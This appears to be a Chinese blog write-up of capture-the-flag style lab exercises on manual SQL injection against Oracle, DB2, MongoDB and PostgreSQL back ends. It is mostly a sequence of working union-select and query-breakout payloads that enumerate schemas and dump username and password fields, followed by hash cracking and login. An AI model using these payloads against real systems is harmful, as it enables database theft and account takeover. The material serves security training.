墨客SQL手工注入漏洞测试

 一.SQL手工注入漏洞测试(Oracle数据库)

判断列数

1 order by 2 //页面正常,说明存在2列

1 order by 3//页面不正常,说明存在2列

判断回显位置

orcale的语法不支持union select只支持union select  from 且不支持联合查询数字,所以在此我们使用

1 union select null,null from dual  //页面正常,注意这里需要dual这个伪表

这里我们通过给null加单引号判断回显位置

获取数据库名称

1 union select (select instance_name from V$INSTANCE),'null' from dual

获取表名

这里和MySQL数据库类似也有存着所有表名和列名的数据表

user_tables表----->table_name (所有表的名字)
user_tab_columns表----->column_name(所有列的名称)

1 union select (select table_name from user_tables where rownum=1),'null' from dual //获取第一个表  LOGMNR_SESSION_EVOLVE$

获取第二个表名只需在后面加上and table_name='LOGMNR_SESSION_EVOLVE$'

1 union select (select table_name from user_tables where rownum=1 and table_name != 'LOGMNR_SESSION_EVOLVE$'),'null' from dual

这里一个一个获取很慢而且比较麻烦,这里我们使用like来进行模糊查询

1 union select (select table_name from user_tables where rownum=1 and table_name like '%user%'),'null' from dual //模糊查询表名中带有user的表 

判断列名

1 union select (select column_name from user_tab_columns where rownum=1 and table_name='sns_users'),'null' from dual // 查询sns_users表的第一个字段名称

1 union select (select column_name from user_tab_columns where rownum=1 and table_name='sns_users' and column_name != 'USER_NAME'),'null' from dual // 查询sns_users表的第二个字段名称 

查询字段内容

1 union select USER_NAME,USER_PWD%20 from "sns_users" where rownum=1 //得到sns_users表中的第一条数据

1 union select USER_NAME,USER_PWD%20 from "sns_users" where rownum=1 and USER_NAME != 'zhong'//得到sns_users表中的第二条数据

1 union select USER_NAME,USER_PWD%20 from "sns_users" where rownum=1 and USER_NAME != 'zhong' and USER_NAME != 'hu'//得到sns_users表中的第三条数据 

这样我们就获取了mozhe这个登录名和密码,接下来对密码进行MD5解密

之后登录即可获得flag

二.SQL手工注入漏洞测试(Db2数据库)

判断字段数

1 order by 4 //页面正常
1 order by 5 //页面错误,说明存在4列

判断回显位置

1 union select 1,2,3,4 from syscat.tables

可以看到2,3的位置有回显,这里我们使用2,3来获取数据

判断数据库名

-1 union select 1,current schema,3,4 from syscat.tables 

表名

-1 union select 1,tabname,3,4 from syscat.tables where tabschema=current schema limit 0,1 //第一个表名

第二个表

-1 union select 1,tabname,3,4 from syscat.tables where tabschema=current schema limit 1,1 //第二个表

根据表名我们可以看出,用户名和密码在第一表中

字段列名

-1 union select 1,colname,3,4 from syscat.columns where tabschema=current schema and tabname='GAME_CHARACTER' limit 0,1 //第一个字段 、
-1 union select 1,colname,3,4 from syscat.columns where tabschema=current schema and tabname='GAME_CHARACTER' limit 1,1//第二个字段
-1 union select 1,colname,3,4 from syscat.columns where tabschema=current schema and tabname='GAME_CHARACTER' limit 2,1// 第三个字段

字段内容

-1 union select 1,PASSWORD,NAME,4 from GAME_CHARACTER limit 0,1 // 第一个字段名 
-1 union select 1,PASSWORD,NAME,4 from GAME_CHARACTER limit 1,1 // 第二个字段的内容

接触名字和密码,解码登录即可

SQL手工注入漏洞测试(MongoDB数据库)

首先我们需要知道MongoDB的mangodb正常的查询语句:db.notice.findOne({'id':'$id'});return data;

接下来我们用这个语句进行查询

判断回显

1'});return ({'title':'1','content':'2

判断数据库名

1'});return ({'title':tojson(db),'content':'2

判断表名

1'});return ({'title':tojson(db.getCollectionNames()),'content':'2

获取字段内容

1'});return ({'title':tojson(db.Authority_confidential.find()[0]),'content':'2

这里mozhe为用户名,解码对应的密码进行登录

SQL手工注入漏洞测试(PostgreSQL数据库)

判断字段数

可以判断出列有4列

1 order by 5 //页面错误
1 order by 4 //页面正确

判断回显位置 

可以看到在2,3处存在回显

-1 union select null,'null','null',null 

 判断数据库

-1 union select null,current_database(),'null',null 

判断表名

-1 union select null,table_name,'null',null from information_schema.tables where table_schema='public' limit 1 offset 0 // 获取第一个表名

判断字段列名

-1 union select null,column_name,'null',null from information_schema.columns where table_schema='public' and table_name='reg_users' limit 1 offset 0 //第一个列名、
-1 union select null,column_name,'null',null from information_schema.columns where table_schema='public' and table_name='reg_users' limit 1 offset 1 //第二个列名
-1 union select null,column_name,'null',null from information_schema.columns where table_schema='public' and table_name='reg_users' limit 1 offset 2 //第三个列名

 

获取表中的数据

-1 union select null,name,password,null from reg_users limit 1 offset 0 //第一个字段的内容
-1 union select null,name,password,null from reg_users limit 1 offset 1 //第二个字段的内容

登录即可获取flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值